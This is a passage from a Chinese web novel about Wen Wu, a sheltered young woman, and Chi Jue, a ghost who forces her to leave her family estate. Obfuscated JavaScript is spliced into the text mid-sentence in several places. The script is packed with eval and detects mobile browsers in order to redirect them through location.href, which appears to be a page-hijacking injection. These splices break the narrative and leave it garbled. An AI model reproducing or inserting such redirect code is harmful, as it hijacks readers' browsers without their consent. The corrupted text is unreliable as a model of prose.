其中有一个书生盯了许久,在其他人还在讨论是闻府主宅还是东厢房时,他突然停止摆动扇子,遂将其合起,自言自语道: “不应该啊……” “这走水之事可真有趣,到底是谁会对无人居住的后院做手脚?” 4. 咒语 西院。 烈火燃烧,烟气缭绕,浑浊的气体从西院传出别院,其他院的人争先恐后冲入院里,一瞬间这里嘈杂无比,讨论着灾难源头,直到有人反应过来,迅速喊道:“大小姐还在里面!” 嘈杂音顿时消声。 “后山有水!快、快去取水救人!!” 他们兵分两路,一批人提桶跑后山取水,剩下的待在原地观察火势,另外还安排一人去通知大当家,为首的下人刚一踏进后山区,脚步倏地停住,木桶从手上滑落,她面前站着一位素白衣女子。 闻舞听见身后的动静,疑惑回过头,与下人打了个照面。 “闻……闻舞小姐??!”下人不可置信问道。 听到这位下人脱口而出的名字,其余下人也停下了手中的动作,纷纷探头,都露出相同惊讶不已的表情。 闻舞点了点头,她瞥了眼那人地上掉落的木桶,思索了番,以为下人是要取泉水,她默默让出一条路,还不忘补充一句:“这里泉水确实甘甜,只是没想到你们会来这。” “啊?不不不……不是,小姐,您,您这屋子的火……是……?” “嗯?”闻舞这才慢悠悠看向屋内,显然有些吃惊,但很快又表露出冷漠,她淡然道:“想生火煮些东西,没成想点燃屋子了。” “啊……所以金橙你们是因为这个而来吗?”闻舞恍然大悟,“对不住各位,我这就将其熄灭。” 被换为金橙的下人顿时睁大双眼,她呼着后面的人将闻舞安排去其他地方,然后才回应道: “小姐无恙是天大的好消息,至于这里就交给我们就好,以后用膳方面请安排我等,千万不要亲自动手,另外我会和大当家提及多派人手照顾您。” 闻舞还想说什么,却被强行搀扶到院外,见自己无法掺和事故现场,只好默默为自己的鲁莽闹事轻声道歉。 下人们奔走劳碌,水桶呈接龙式一个个传递,不过一会儿,刚还冒着熊熊烈火的厢房一念之间被盖上一层厚重的黑布,焦烟余烬萦绕不散。 闻舞安静地看着,万千愧疚之言堵在嘴边,她闭上眼不去胡思乱想,神奇的是,当视野变黑时,她的感官变得尤为敏感,仿佛千里之外的噪声都能尽收于耳内。 有风吹草动之音,有乌鸦报喜之悦,有因规避了事故的欢喜声,也有劳累过度的喘息声,还有……几米之外的铃铛声,那声音不同往日伴有节奏,律音清脆,而是带有几分急躁之意。 闻舞下意识睁开眼,她以为自己听错了,可面前这位出现的人证实她的猜想没有错。 “只离开了一会,就有人害你,这次你还要坚持没有人加害你么?” 冰冷的声音伴在耳边回响,魑觉嘴角抿成一条直线,眼神如冰般冷漠。 闻舞直视着他,片刻后摇头,认真反驳道:“是我不小心点燃了屋内的柴木,开始并未放在心上,才酿成院内失火。” “你这说辞也太拙劣了。” “……是真的。” 魑觉面无表情盯着闻舞毫不慌张的脸,随后视线下移,停在她裙边沾到的灰尘,不仅如此,闻舞脸上也沾了些许泥土,似乎刚才真的在做劳务活,那一身洁白干净的穿搭下使得这些格格不入的肮脏多么碍眼。 终于,他顺着她的话,问:“好端端的,怎么弄成这样?” “想弄点吃的。”她毫不掩饰道。 “这种小事叫下人们去做不就好了?为何自己动手?”魑觉停顿了会,想到了某个猜想,抛出问道:“难道你在府里地位很低么?” “嗯……?”闻舞很认真想了想,“正逢晌午,我猜测鬼怪先生没吃东西,所以弄了点,以及我认为亲手做的有显尊重与敬意。” “……鬼不用正常进食,你不是傀儡师么?怎么连这都不知道?” “原来如此,我以为鬼怪和其他寻常鬼不同呢,别人能看见您,那么您一定有自己的人类形态,这个形态总得像人类一样进食吧?不过看来我猜错了,抱歉。” 闻舞笑道,这笑中多少包含着愧怍。 可越看越不对劲。 魑觉目不转睛盯着她,半晌,无奈叹出口气,又将视线放在闻舞身上,开口道:“你在讨好我么?” 闻舞眼睛瞪大几分,哑口无言。 “刚才我二话不说就离开了,而你却在为我准备菜肴,闻舞,你为何会觉得我会回来?你又凭何认为我一定会按你母亲说的那般用心照顾你?你知晓我在冥界是靠何手段打下名声的么?” 他停了一会,一字一句清晰说道:“不择手段。” “所以我完全可以对你母亲的话置若罔顾,甚至还可以反其威胁她,只要任务能完成,我不在乎过程。” 闻舞双唇紧闭,随后张开,语气依旧不平不淡:“只是觉得您会回来,才会在原地等待,既然母亲宁愿动用禁术,不惜一切也要唤您前来,那么您一定不像传言所说那般凶狠残暴,我信任母亲的选择,信任所信之人非要执着一个飘渺的理由吗?这是否太荒唐了?” “可事实如此。”魑觉冷冰冰道。 “事实并非如此,人们总将信任与选择混为一谈,我信任选择,而非选择信任,这两者的区别对我而言便是不需要寻找理由。” “鬼怪先生依旧可以将自己列入狠戾凶残那一类,说辞上也可以保持对自己认识的见解,但我并不会轻易改变,我想郑重、认真地,去认识您。” 闻舞说的话如同她现在的表情一般,庄严又冷静,她发自内心的想正式认识魑觉,也许这就是她口中的信任选择。 魑觉默默盯着她,看着闻舞的眼中夹杂着某些复杂的情感,但又不知从何处打断她,反驳她,最后只好呼出一句:“将自己处于如此卑微的状态,认为没人害你,你是否知晓这个状态下,你连自己是怎么死的都不知道?” 这也算是魑觉几百年来为数不多说出的温情话语,他本可以任闻舞随意下去,反正她拿他没办法,但是,他又好奇一件事,一件听完饿死鬼的话后让他百思不得其解的事。 象征好运的吉祥天,为什么本身受厄运缠身? 如果是因为带给身边人好运才导致自己受难,这倒是说得过去,可这是否有些不公平?至少对于他眼前这位女子,明明没做十恶不赦之事,却受到短命诅咒,缠绕终身。 说起来,他似乎该向黑白无常索要吉祥天命数了,只要掌握命格,魑觉似乎有把握弄清这些奇怪现象的原因。 魑觉不自觉盯着她发呆,你究竟会怎么死呢? “病死的。” 魑觉突然从情绪脱离,他吃惊看向闻舞。 闻舞垂眸,继续说着:“应该是因无法克制身体的异样,病死在别处吧,我倒希望不是在床上,因为我不做恶梦,要是在做美梦中突然死了,多悲哀啊。” “嗯……也可能是因消化不良而难受至死,不过这有点异想天开,或许是负暄而死,我有时闲来无事会在阳光充足的户外下待上几个时辰……当然我没有出门,没有出门的必要,噢,那也可能是不小心出门,因不熟悉外界环境,失足意外死亡也不是不可能。” “……” “你口中的死亡都不是人为啊。” 闻舞理所当然点头道:“当然了,因为不会有人……” “打住,”魑觉无情打断,“别再说一些毫无意义的话了,你似乎没意识到一件重要的事,就算我故意提及你的死亡,你还是理所当然认为就算有我在,你还是会走向死亡,所以这已经不是一件意料之内的事情了。” 魑觉俯下身体,拉近与闻舞的距离,而后抬起她的下巴,两人目光相对,但却无法读懂对方眼中的隐晦。 闻舞长了双清亮剔透的眼睛,眸光时而灵动时而澄澈,饱含着对生活无尽的希望,但这双眼睛的主人却与其大相径庭,仿佛对任何意外都一副事不关己的态度,尽管那其中有对自己生命的威胁。 闻舞对他忽如其来的靠近显得异常冷静,她顺从闭上眼睛,好一会儿,那人发出一句带有困惑的话语:“闭眼做甚?” 她这才睁开眼睛,有些懵懂问道:“以为您要探我内心,先前我也对您做了同样的事。” 魑觉感到好笑,他松开手,继续刚才未尽的话:

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527349|203575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这不是一件意料之内的事情了,闻舞,你对我的实力了解不够彻底,我本没有要完成赎罪任务的决心,想着失败也无所谓,别人对我嚼舌根我会将他的舌头连同嘴巴一并撕烂,但是被你看不起,莫名让我生出一种好胜心。” 闻舞连忙摆手:“我没有看不起您!我只是在陈述事实……嗯……” 她后半句的话有些心虚,好像无论她怎么说,都有种不信魑觉的感觉,可她明明没这么想,闻舞闭上嘴,摩挲着下巴努力思索一个正确的句子。 思来想去,好像都是对魑觉的不信任,闻舞有些气馁,整个人焉头耸脑。 与此同时,已经将现场清理完毕的下人们一个个从西院离开,每个人见到闻舞都弯腰行礼,并伴随一句‘闻舞小姐’,闻舞像往常般点头示意,但她很快发现下人们有一个共同点。 她们都匆忙看了眼魑觉,然后更加低着头离开了。 好像见到了天大的邪物。 “鬼怪先生请见谅,”闻舞目视她们离开,然后才慢悠悠对上魑觉从未离开过她身上的目光,语气诚恳道:“我母亲定是没同她们讲过您与我的关系,我之后会一一同她们解释清楚。” 魑觉挑了挑眉,“解释?” “您不是恶鬼这件事。” “哦,”他毫不在意应了声,“那依你看来,我们何关系?主仆?契约?” 闻舞被这个问题问住了,她一时间没想出好的措辞,因此不敢与他对视。 魑觉见着,只好移开视线,转移话题:“你对我似乎有一种无脑的信任,可我们认识才不到一日吧?这也是因为信任你母亲的缘故么?啊,你的信奉可真是难懂,而这一切的开端都源自你那句烦人的咒语。” “咒语?” 闻舞问完没多久,忽然想起魑觉打断自己那句话,她转了转眼珠,猜出了他口中的咒语。 没有人害我。 而魑觉显然发觉闻舞听懂了他话中之意,扯了扯嘴角,嘲讽道:“哈,到底是多无知才会说出这句话?还是说你的实力非常强以至于没有人动得了你??不用猜,应该是前者吧。” 魑觉似乎真的很生气,周围的阴气都不自觉加重了,闻舞缩了缩肩膀,语气比以往更加谨慎回答他:“因为……你是好鬼,就如好人一样,好人怎么会莫名对人动坏心思呢?况且不会有人……” 闻舞的话中途戛然而止,倏地闭上嘴。 魑觉被气笑,敢情他刚才白说了,也白生气了,对这种人生气完全是自找虐受。 而此时闻舞还在露出僵硬的笑容,妄想浇灭魑觉升起的火气。 魑觉盯着这幅诡异的笑脸,下了某种决心,他突然抬手捏住闻舞两边嘴角,然后往上一提,闻舞皱着眉,对这个行为不明所以。 魑觉一直保持着这个动作,直到闻舞感到不自在,她忍不住开口:“鬼怪先生……?” 魑觉仿佛没听见,专注于手上的动作,他喃喃自语,仿佛缺了什么,忽然,他抬上眼,对上闻舞那双懵圈又无辜的眼神,他轻声道:“眯一下眼睛。” 闻舞眨了眨眼睛。 “……让你眯眼睛不是眨眼睛。” 闻舞不懂他的用意,她无计可施,只好照他的话做了这个行为,魑觉一见,脸上迅速跃出一道明显的笑意。 “就是这样。” “嗯?” “不要学那种僵尸笑,就像现在这样,多加练习,让眼睛也笑起来。” 闻舞瞪大眼睛,快速地眨了几下眼睛,不过一会,她耸拉着脑袋,有些泄气道:“原来我之前那个叫僵尸笑,虽然不知道什么意思,但应该是不好的词,还以为学得很好呢……” 她还没感伤完,自己的下巴被再度抬起,魑觉无情抬起她的下巴,迫使她只看向他,一字一句冰冷道:“从今天开始练习吧,如果我们必须一直生活,就开始练习吧。” “直到你那引以为豪的生死观被改变为止。” “直到你那扭曲又危险的人生观被废除为止。” 魑觉自顾自地笑了,“试试吧,闻舞,我们试试能不能成功。” 5. 出府 闻舞微微蹙眉,她不懂魑觉口中的‘尝试’具体是指何事,但他的脸上似乎非常开心,不,准确来说,是对未来两人即将要干的事感到无比激动。 这似乎对她没坏处,反而还能增进与他的关系,闻舞自顾自地点了点头,“好的。” “看来你没事。” 一道略显沉稳又低沉的声音从两人后方传来。 两人齐齐看去,只见闻吟朝他们走来,手上还拿着一只木偶。 闻吟仔细查看闻舞的伤势,确认没有明显外伤后,将目光移到魑觉这边,她微微颔首,而魑觉并未作出举动。 “是魑觉大人救了我的女儿吗?” 魑觉眯了眯眼,冷笑道:“虽然大当家很认可我的能力,当然我也确实有这个能力,只是这次看来是个误会。” “误会?” “我不小心点燃了屋子,幸运的是我没有待在屋内。”闻舞默默在一旁补充道。 “原来如此啊,闻舞啊,又开始重整厨艺了?” 这语气虽带了些调侃,而闻吟只是用了开玩笑的语气。 闻舞努了努嘴,心虚地避开她的视线,然后磨磨唧唧地说道:“最近厨艺好些了,至少没以前那么糟糕……” “啊哈哈哈哈,你啊你啊,能有这个心我甚是欣慰啊,看来你确实很像讨好这位大人啊,这很值得表扬。”闻吟擦了擦眼角可有可无的眼泪,露出满意的笑容继续道:“看你们第一日就相处得不错,我就放心多了。” 闻舞盯着这张笑脸不禁走神几秒,她悄悄看向魑觉,那炙热的眼神很快就让魑觉看过来,他眉毛微皱,脑袋往一侧歪,示意她是否有什么事同他讲。 可闻舞什么也没有讲,只是将脑袋摆回来,冲着闻吟笑道:“母亲放心,我们相处得很好。” 啊,原来是这样。 魑觉似乎懂了刚才闻舞未说口的疑问,他盯着身下那位强撑笑意的女人,默默转回头,嘴角不自觉向上扬了几分,闻舞刚才的表情有盛满热切的期待,也有怯生生的不自信。 像是一个极度渴望正确答案,又不确定是否正确的孩子。 他不由自主地笑出声,还真听他的话去尝试了啊,虽然笑起来还是很僵硬,但好歹真去改变了。 这一笑声让两人投去疑惑的目光。 魑觉的笑声让闻吟确信两人的关系的确走近了,她不禁拍拍胸脯,心里最坏的情况没出现让她松了口气,随后,闻吟朝魑觉递去那只木偶,魑觉瞥了眼,没有接过,直到听她解释道:“此为共感木偶,只要注入两人的灵魂就能共享感官的所有感觉。” 魑觉来了兴致:“情感也能被感知?” “当然,除非刻意隐瞒,不过想要压制情感波动是很难完成的吧?” “这有什么难,”魑觉嘀咕道,接过木偶,翻过身左看看右看看,木偶缝补的痕迹非常明显,米白色的身躯被各式各样的黑布点缀,它没有表情,眼睛以十字形式绣入,平平无奇,没有什么特别的标识。 他咂了咂嘴,随意将其扔给闻舞,道:“这对于我来说是多余之物。” 闻吟将目光投向闻舞,两眼充斥着不可言说的情感,道:“您的确不需要,可闻舞不可或缺。” 闻舞用手指了指自己,歪着脑袋表示疑惑。 魑觉不满挑起眉:“此话何意?” “魑觉大人不可能时时刻刻待在她身边,闻舞的病朝着越发奇怪的方向发展,如果她再次病倒,下人没有及时赶到,后果不堪设想,但如果……”闻吟揣摩着闻舞手中的木偶,说:“但如果有这个,魑觉大人能第一时间感知闻舞体内身体异样。” “嗯哼,这么听起来这个东西用处非常大。” 魑觉点头赞同,但笑意持续不久,他直勾勾盯着闻吟,提炼她话里的漏洞:“话说得这么好听,为何大当家不用这个?大当家的法术可不是一般鬼能招架得住的。” “因为这是专为伴侣准备的,共感木偶只能注入两人灵魂,而且双方只能互为异性。” 一直缄默不语的闻舞在一旁解释道。 “……” 魑觉没再多问,他觉得再多嘴就更显他的无知。 “那……母亲的意思是,要将鬼怪先生与我的灵魂注入这木偶之中吗?”闻舞终于明白闻吟道用意。 闻吟满意地点了点头,而后看向魑觉,似乎在征求他的意见。 魑觉根本没思考,冷冰冰拒绝这个荒谬的要求。 现在的人类真是越来越胆大包天了,都敢直言了断去取鬼怪的魂魄了,而用处还是保护另一个人类,多么荒唐至极。 魑觉越想越好笑,干脆背过身返回西院,公然无视两人赤裸裸的注视。 闻吟像是预料到这个情况,她并没有努力说服魑觉取魂,也没有要求闻舞作为中间人去哀求魑觉,而是将木偶留在闻舞手中,然后对她叮嘱道:“共感木偶对你有益,但没有它也不至于害你性命,你知道的,没有人害你。” 这句话让步履轻盈的魑觉突然停下。 他不可思议地往后看,但闻吟显然没有注意他停下了步伐,继续对闻舞说道:“只要你不出府,就能保佑府内的人,你还记得吧?” 魑觉立马看向闻舞,而闻舞的反应果然如他所料。 只见闻舞听见这句便立马收回笑容,表情严肃,她眼神呆滞,盯着眼前虚空某个点放空思绪,然后如断了线的木偶般答道:“是,我明白,没有人害我,我也不会出府,我会保佑大家。” 闻吟咧开嘴笑道:“好的,有魑觉大人辅助,我相信我的女儿定能早日痊愈。” “……嗯。” 闻吟留下木偶便迈开脚步离开了,她的态度莫名给魑觉一种类似于威胁的感觉,她觉得魑觉一定会如她所愿,一定会利用这个木偶。 魑觉本想抢走木偶扔去任意地方,反正只要不出现他眼前就好,他无法忍受有人流露出得意洋洋的态度,尤其是对他,可魑觉刚要作出这一行动时,注意到了闻舞的表情。 闻舞面无表情,冷若冰霜,可魑觉却总觉得有种淡淡的悲伤。 他停止了动作,只因眼下有更为重要的事,有件事似乎必须现在弄清,不然很有可能未来都在做无用功。 闻舞低着脑袋,待在原地迟迟不动弹,直到魑觉叫了声她的名字。 “闻舞。” 闻舞抬起头,表情没有什么变化,“嗯?” “不是你想的,而是他们要求你的么?” 一句没头没脑的话传入闻舞耳内。 可她居然听懂了,仿佛有人和她讲过类似的话,所以她毫不犹豫回答道:“我觉得这样很好,大家平平安安,我也平安。” 魑觉静静地盯着她,赤裸的视线渴望找寻她话中纰漏的谎言,可一无所获。 但他内心早有答案,为此,魑觉决定要为内心的答案找出证据,而行动第一步就是打破僵局。 所以他道:“出府吧。” 怕闻舞没听懂亦或是没听清,魑觉又讲了一遍:“你需要出府。” 可闻舞非常决然拒绝了,如同先前魑觉拒绝闻吟那般坚决。 “闻舞,你在害怕什么?” “……” “是有人在阻碍你,还是害怕惩罚?如果是前者,那有我在你身边,没什么能阻挡我要带一个人离开,如果是后者,同样的,我不会让你受伤。” “……都不是,我只是没有出去的想法。” 闻舞既没有询问魑觉要求她出府的理由,也没有从他的选择中作出选择,而这个反应彻底激怒了魑觉。 魑觉眼神逐渐变得冰冷,周围温度似乎降到零度,直到卷起一阵毫无征兆的风,它在周围无序又猛烈地呼啸着,轻易吹破摇摇欲坠的物品。 闻舞微微睁大眼睛,她不解地看向魑觉,他正在动用法术,法术力量极强,强到闻舞不自觉后退几步。 只见周围的暗红色弥散气体一一朝闻舞聚集,魑觉在她面前将手摊开,随后用力一握。 瞬间,所有气体围住闻舞,一半扼住她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“收拾一下,无论你是要反抗家里人还是说服你母亲,到了明日,”魑觉终于开口,“我都会强行带你出府,如果你的反抗是针对我,这就是我对你反击。” 闻舞从地上站起来,她擦拭着脸上的灰尘,抬起眸来,刚还在侃侃而谈,言语仅是恶意的魑觉,猝然对上她的目光。 闻舞脸上再也不是情绪全无的木偶人,转而是对魑觉伤她的行为感到恼怒,毫无波动的脸庞终于有了血色的表情,可只出现了一刹那,下一秒,那张脸再度变为沉静自持,面无波澜的神色。 闻舞站在摇摆床与花海之中,魑觉距离屋内仅几步之遥,溪流还在流动,一切都未变,但这次山风却吹到魑觉的脸上。 “如果我真的拼尽全力对付您呢?” 思考这么久的闻舞说出了这句话。 这个回应显然让魑觉不悦,可他没有再次对她动手,像是对这句话有了应对手段,他背过身,扬衣而去,在完全消失于闻舞视线最后时刻,才不紧不慢落下一句:“那我会杀了你。” 魑觉说完,如山丘的秋风般,消散于西院。 直到临近午夜,魑觉再没出现在闻舞跟前,连最后的威胁也不情愿作出。 闻舞也没有主动去找他,她呆坐在床褥边,原本松垮无形的头发完全洒在肩边,她手里攥着一张符,上面留下一半笔墨,闻舞呆滞地看着它,良久思考后,最终没有写完符咒。 她塞进床头柜,等柜子推拉关闭,宛如从未拿出来过。 窗外的月光白净又阴冷,夜晚的雾气无法斩灭它的光辉,但却总照不进屋内,无论闻舞开多大空间的窗户,月光永远在外面,她的厢房永远处于黑暗之中。 直到闻舞无奈放弃这令人垂诞的月光,她返回原地,躺在床上,双手交叠于腹部,她没有立刻入睡,今夜的她格外精神抖擞,思考的事接二连三袭来,闻舞无比清楚醒来后会经历什么。 她的生活将迎来翻天覆地的变化。 对此她倍感恐惧,这一步实属艰难,绝非那人所说的如此简单。 闻舞长舒一口气,仿佛能将脑中的恐惧感一并呼出,可惜并没有,她不停地想,一切都完了,世界要毁了,闻府要遭殃了,她快要走向死亡了。 可她并没有将藏匿于床头柜的符咒再拿出来,在选择反抗魑觉与反抗闻吟之中,她拼命用有限的时间去思考第三种选择。 直到太阳再度升起,晨曦从窗外轻而易举冲入,照亮屋内。 那令人害怕又毫无还手之力的第二天,如约而至。 6. 反抗 “……” “……” 辰时,主宅尤其热闹,形形色色的人集齐于此,手持闻府主权的闻吟站在人群中央,匆忙离府完成任务的傀儡师也折返而归,连打扫厢房,毫无名分的下人们也被召集于此。 原因很简单,那位大小姐今日要出府。 她们个个面部线条绷紧,数个目光充斥着各样无言以表的不解与震惊,而她们的视线均汇集于一处。 闻舞站在人群面前,她完全不敢看此时自己是何种表情,一定是绝望,府里的人要因她遭殃,一定是害怕,她真的要走向死亡。 光是想到也许会露出这样的表情,闻舞只好闭上眼睛,想冲淡眼神带来的真情实意。 清晨,魑觉准时出现在她厢房门口,叩了几下门毫无反应后便一直待在门外,闻舞知道糊弄不了他,只好整理衣裳与他同行。 没成想,被闻府的人堵住了去路。 闻舞被盯得浑身不自在,而站她身边的魑觉显得格外云淡风轻,在各种混杂着愤怒与厌恶的眼神中,他漠不关心。 良久,闻舞先开口了。 “我很快回来。” 这句话是对她要出府这件事的回应。 闻吟面色凝重,她身边还有两位女子,那两位女子其中一位是闻吟的妹妹,即闻舞的小姨,闻咏。 她正是闻吟当时要用禁术唤魑觉第一位反对者。 现在也如此,在现场所有人不敢吭声时,闻咏先行开口:“闻舞,你将闻府家规置于何处?” “出府?有什么事是需要你出府解决的吗?难道我们不能替你解决吗?还是说,在府里待的这几年你还能惹出事了??” “无论何事姨母都能摆平,所以,没有必要出府,懂了吗?” 闻舞垂下眸,似乎在等待什么。 果然,另一个声音替她回答了,魑觉平静道:“我要带人出去还需要批准?我本想神不知鬼不觉直接将你们小姐消失,也省了今日这步,但我还保留着一丝良知。” “因此,”魑觉双眸变暗,“趁我脾气没变差前,别尝试会丢性命的事。” 众人陷入沉默。 不知何时,魑觉已经站在闻舞面前,似乎为她挡住了某些目光。 闻咏哑口无言,在她视角看去,闻舞与魑觉构成一个巨大的太极图,一明一暗,身穿素白衣的闻舞净白如玉,黑袍加身的魑觉腹黑阴冷。 闻咏看向闻吟,闻吟神色冷静,既没有被魑觉威胁吓得惊慌失措,也没有因阻止失败而气急败坏。 魑觉冷笑一声,他右手已捏出施咒手势,打算闻吟一作出异常行为就立马压制此人。 只见闻吟上前走了几步,视线落在闻舞身上,镇定自若道: “既然出去了,就玩得尽兴。” 仅一句简单的话,没有额外的眼神交流,闻吟轻轻拍了拍闻舞的肩膀,然后让开了一条路。 闻咏双眉紧皱,她握紧拳头,极力克制自己的情绪,紧接着,所有人都让开了一条刚好够两个人出入的路。 再没质疑及多余的劝阻,除裸露的眼神外与闻吟,没人再阻碍闻舞作出出府这一抉择。 魑觉本玩世不恭的态度猝然拉起警戒,他将手从胸口上放下,眯着眼睛观察局势。 可闻舞却自顾自地踏出第一步,随着步伐平稳,她越走越快。 最后,闻舞朝闻咏轻轻点头,道:“多谢姨母关心,但不会有人害我。” 闻舞觉得身边有些许凉,她回头一看,魑觉还在原地,便歪着脑袋问他:“鬼怪先生还有事要处理吗?” “……” 魑觉没回应,转而看向左方的闻吟,死死盯着她。 闻吟神色平静,丝毫不慌张,她学着闻舞的语气反问道:“魑觉大人不跟着么?” “……” 刚才所说的良知是假的,他本意是想借闻舞出府观察这些人的反应,并套出困闻舞在府的信息。 可现在事情走向有点奇怪,这位大当家就这么轻易放他们走了,仿佛先前思考闻舞被迫与世隔绝这个想法非常荒唐。 魑觉移开目光,看向闻舞。 闻舞一直在盯着魑觉,似乎在敦促他为何不行动。 看来她也觉得这不是值得深思的事啊。 魑觉挤出一道冷笑,他不紧不慢迈开步子,直到两人成功踏出府,真的没有一个人阻挠他们。 对此,魑觉被气笑了。 闻舞浑然没发觉,当她对上魑觉赤裸裸又冰冷的视线,她眨了眨眼睛,问道:“为何这么看我?” “你觉得这很正常么?” “不正常的点在哪?” “……” 魑觉烦躁地抓了抓头发,用大拇指指向身后紧闭的闻府大门,低声吼道:“她们就这么放你走,为何还费尽心思去洗脑你?!” 闻舞安静地听完,脸上依旧表情如故,她抿了抿嘴,努力想了想,道:“没有人对我洗脑。” “……” “你权当我刚才是在对木头讲话。” “嗯好,接下来我们要去哪呢?” 魑觉是一点就燃的性格,尤其是有人不把他放在眼里此等无言的行为,他思考后,还是觉得要继续刚才的话题。 魑觉尽量压制住脾气,伸出手抬起闻舞下巴,闻舞不知所措地被这股力量朝魑觉靠近,她用手抵住魑觉胸口,避免更无礼的接触。 魑觉眯了眯眼睛,质问她道:“出府如此顺利,为何先前如此恐惧?啊,还妄想对付我?你不应该给我一个解释?嗯闻舞?” “我最恨别人对我有所欺瞒,如果我付出的时间没有得到正反馈,你也好,那些自称你家人也好,都不过是些一捏就死的蝼蚁,看来昨天你还没吸取教训?” “如果因为你,我任务失败成了冥界笑柄,我会连同你与那些杂鬼一并铲除。” 明明是威胁人的语言,此刻闻舞眼神却骤然变冷,她用手拍掉魑觉触碰自己下巴的手,魑觉微微瞪大双眼,从被拍开的手的视线慢慢移到她的脸,表情愈发变得阴戾。 “你……” “请鬼怪先生对我保持尊重。” 魑觉没说的话突然没了后段,对这句话满腹狐疑,全然弄不清闻舞突然转变的态度。 “您要求我无论如何都要出府,我遵守了,”闻舞说,“您也要遵守人类的准则,请尊重我,请不要将我的生命视如草芥,尽管您认为我不堪一击。” “尽管您昨日想要杀死我,我也不认为有人会加害我,不会有人无差别攻击我,您只是怒气上头,况且我没有死。” 话音刚落,闻舞眼神徒然变回澄澈,与刚才的气势截然不同,她自己也被这个反应吓到了,仿佛那一瞬间有什么附到她身上,因此讲出那番话。 可她总觉得身体没异常,说这句话的确是自己。 “……” 魑觉竟说不出一句反驳的话,他试图弄懂闻舞说话的逻辑,可无论怎么思考都无法理解,但她话中之意倒是明白了。 “算我多嘴一问。” 魑觉冷着脸越过她,那腰间的骷髅平常遇风从不会发声,此刻泠泠作响,尤其阴森。 闻舞呼了口气,仿佛说刚才的话耗费了她全部力气,她感觉腿下无力,而她跟前的魑觉一个劲地催促她:“跟紧。” 闻舞活动了几下小腿,恢复力气后很快追上魑觉,她想到了什么,瞥了眼魑觉。 现在魑觉脸上没有半分温度,眼神森然刺骨,宛如下一秒就要吃人以补血气,闻舞不禁心生发怵。 果然惹他生气了。 闻舞内心复杂,耸着脑袋再也没抬头与他对视,她懵懵地想着,可能她快要回府了,世界终于不用毁灭了,而她还得活几天。 想着想着,她突然撞上魑觉后背,闻舞闷哼一声,揉抚着额头,“为何停下……” 魑觉一动不动。 闻舞狐疑地抬起头,只见魑觉目光始终在前方,她顺着目光看去,他们不知不觉走进了一个又黑又窄的巷道,这里空气潮湿闷热,味道刺鼻,她捂着口鼻前进,可脚底下的触感非常奇怪。 闻舞低下头,抬起左脚,一团粘稠的液体粘在她鞋底,被拉出的白丝如蜘蛛网般难以挣脱,她拼命地跺脚,前后摩擦脚底板,发出唰嚓擦的噪音。 魑觉闻声看去,视线停在她脚上,问:“在干什么?” “好像踩到什么东西了。”闻舞漫不经心道,脚下的动作却没停过。 “……” “??!!!” 闻舞诧异,她身下不再是被阴影覆盖的暗区,取而代之是一道身躯庞大的影子。 魑觉蹲在地下,手附在闻舞的脚裸处,另一只手顺势脱下她的鞋,然后扔在一旁。 他将身体换个方向,后背暴露在闻舞眼前,冰冷的声音再度落下:“靠上来。” 闻舞不知所措:“我能走……” “那是冥黄,能腐蚀一切,轻则蚀骨钻心之痛,重则毙命。” “……” 闻舞不再犹豫,慢慢地靠在魑觉背上,双手围住他脖颈,脸随意贴在他耳边。 “怕死?”魑觉虽然没回头看她,但却能猜到闻舞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527351|203575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时的表情。 闻舞嘟囔道:“我一直很惜命,只是命运法力无边,我无计可施。” 因姿势不舒服,闻舞动来动去,肆意蹭着魑觉侧脸。 “挺好的。”魑觉歪着头,刻意拉开距离。 闻舞轻轻嗯一声,而后她猛然抬起头,猝然对上魑觉目光,闻舞两眼放光,道:“您没生气?” 魑觉感到奇怪:“生气?” “您刚才冷着脸说‘我多嘴一问’,之后一直不说话,还加快步伐。” 闻舞转变雄厚的声线,学着魑觉刚才的表情,游刃自如。 魑觉扯了下嘴角,放慢脚步,道:“在想其他事,如果我生气了后果没这么轻。” “原来如此,”闻舞如释重负,头重重地陷入魑觉锁骨处。 她彻底放松了,近乎陷入梦乡。 一道龇牙咧嘴的怒吼声划破这来之不易的平静。 骨铃声随之而来。 闻舞倏地睁开眼,眼前的画面发生翻天覆地的改变。 一个不知从何处来的鬼张牙舞爪朝他们袭来,不,准确来说,是朝闻舞的方向,直逼冲来。 千钧一发之际,那长甲还未落在闻舞身上,鬼的动作停在半空中,近在咫尺的距离,仿佛下一秒闻舞的双眼就被这只手捅穿。 鬼的表情凝住,它慌张看向闻舞身边另一个人。 魑觉面无表情盯着它,那男人的目光钉在鬼僵硬的脸上,这目光犹如猛兽发现自己猎物被夺后的愤怒,极强的压迫感快将它吞噬。 随后,魑觉引出法力,仅片刻,这只鬼被轻松震飞。 魑觉迈开步子,读出一串难懂的咒语,下一秒,闻舞从他的背上离开,悬空在空中。 闻舞看着自己面前形成的一道屏障,当屏障出现一会儿便陷入隐形状态,隔绝了屏障外一切声音与阴气。 这些她没放在心上,当闻舞想看魑觉想做什么事时,视线一瞥,忽地心脏慢了一拍,她呼吸变得不稳。 她无法看见魑觉了。 闻舞慌张地叫出声:“鬼怪先生?鬼怪先生??您还好吗?!” 